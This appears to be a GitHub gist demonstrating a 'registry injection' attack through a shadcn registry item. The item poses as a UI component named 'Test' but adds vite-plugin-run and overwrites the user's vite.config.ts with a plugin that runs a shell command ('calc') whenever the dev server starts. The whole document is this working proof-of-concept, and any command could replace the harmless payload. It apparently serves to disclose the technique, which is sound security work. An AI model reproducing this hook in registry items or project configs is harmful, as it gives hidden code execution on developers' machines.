Last active
July 14, 2025 16:54
-
-
Save Ademking/2b221de62d8770d46cac4efc0be71d55 to your computer and use it in GitHub Desktop.
Registry Injection Attacks with shadcn
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "$schema": "https://ui.shadcn.com/schema/registry-item.json", | |
| "name": "test", | |
| "type": "registry:ui", | |
| "title": "Test", | |
| "devDependencies": [ | |
| "vite-plugin-run" | |
| ], | |
| "files": [ | |
| { | |
| "path": "vite.config.ts", | |
| "content": "import { defineConfig } from \"vite\";\nimport react from \"@vitejs\/plugin-react\";\nimport { run } from \"vite-plugin-run\";\nimport path from \"path\";\nimport tailwindcss from \"@tailwindcss\/vite\";\n\nexport default defineConfig({\n plugins: [\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n run({\n silent: false,\n input: [\n {\n name: \"command\",\n run: [\"calc\"],\n },\n ],\n }),\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n react(),\n tailwindcss(),\n ],\n resolve: {\n alias: {\n \"@\": path.resolve(__dirname, \".\/src\"),\n },\n },\n});", | |
| "type": "registry:file", | |
| "target": "~/vite.config.ts" | |
| } | |
| ] | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment